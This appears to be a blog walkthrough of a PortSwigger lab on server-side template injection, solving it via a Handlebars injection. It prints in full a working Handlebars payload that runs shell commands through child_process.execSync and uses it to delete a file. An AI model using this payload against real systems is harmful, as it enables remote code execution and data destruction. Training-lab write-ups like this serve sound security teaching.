This is the fourth lab from the PortSwigger Web Security Academy on SSTI or Server Side Template Injection. This lab solves in almost exactly the same way as the previous labs – it’s a matter of finding where the vulnerability exists, pushing a payload into that spot, identifying the underlying framework, and then crafting the necessary payload to complete the lab.
Let’s do it: PortSwigger Web Academy labs
- SSTI – Basic server-side template injection
- SSTI – Basic server-side template injection (code context)
- SSTI – Server-side template injection using documentation
- >>SSTI – Server-side template injection in an unknown language with a documented exploit<<
- SSTI – Server-side template injection with information disclosure via user-supplied objects
- SSTI – Server-side template injection in a sandboxed environment
- SSTI – Server-side template injection with a custom exploit
NOTE – Links will light up as posts become available.
Resources
- Lab: https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-an-unknown-language-with-a-documented-exploit
- PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
Lab: Server-side template injection in an unknown language with a documented exploit
Let’s read the instructions and see the goal of the lab. All this one says is that we have:
- Template injection
- We have to delete morale.txt from Carlos’s home directory
This one gives us fewer details, so the difficulty is climbing from that standpoint.
Step 1: Recon
Let’s poke at the web app and figure out where a template is being used. For this lab, we have the standard store interface we know and love:

No opportunity to log in. The only buttons we have are the ‘View details’ buttons for the various products and the Home link in the upper right. Very limited. ‘Home’ does exactly what you expect – takes you back to this page. Let’s click a ‘View details’ button:

This is most likely where our injection is going to happen. This is the exact functionality that was previously used. Let’s check the HTTP History log in Caido to see how this out of stock message is returned to client side.

So, a GET is executed against /product
with the query parameter productId=whatever
. That returns a 302 with a Location pointed towards the message that gets displayed:

So, a GET is executed against this new location which results in the home page being displayed with the message passed in via the query parameter. Given that, let’s try to stuff an SSTI payload into this query param and see what kind of response we get. Right mouse click, send to Replay:

Note – I love the Convert Tools plugin for Caido. That’s what we are seeing here in the lower left corner.
Let’s change the payload to our trusty {{7*7}} and hit send:


and we get a 500:

Scrolling deeper into the response yields this:

Looks like we’re dealing with Handlebars templates. We need the syntax.
Step 2: Confirm the Template Engine
PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/JavaScript.md#handlebars
Here we see that Handlebars will respond to {{this}} and maybe {{self}}. Let’s send them both:

Gives us:

So handled – what does the content look like?
![a screenshot of returned RCE. this=[object Object]](https://sc.scomurr.com/wp-content/uploads/2025/02/image-69.png)
Good old [object Object]. We have JavaScript execution on the back end. This is the spot.
Step 3: Explore
Back to PayloadsAllTheThings. We have this payload to play with:
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('ls -la');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
Wow, this is a long payload. Kudos to the hacker who originally discovered and constructed this payload. With that being said, we can see this part of the payload is where we are most interested:
{{this.push "return require('child_process').execSync('ls -la');"}}
We could actually run this as is, but let’s go ahead and run ‘id’ instead to keep in line with previous posts.

There it is – we have code execution on the server. From here, we need to find the morale.txt file and then delete it to solve the lab.
Step 4: Solve the lab

Let’s run this and see if we can do a directory listing of ‘/’:

Now, let’s do a directory listing on ‘/home’:

There’s carlos. Now, let’s run a listing on this user’s directory:

And here is our target file. Now, we just fire ‘rm’ on the file.

Doing a refresh within the browser and we see we have solved the lab:

Done!
Summary
Another SSTI lab down, and this one ramped up the difficulty by stripping away some of the usual hints. No framework details upfront—just raw template injection to work with. But with the right approach, we still got RCE and took control.
Key takeaways:
- Handlebars error messages can leak useful info for exploitation
- SSTI payloads vary by template engine—using the right syntax matters
- JavaScript-based template injection can lead to full command execution
- Even with limited UI options, query parameters can still be an attack surface
Happy hacking!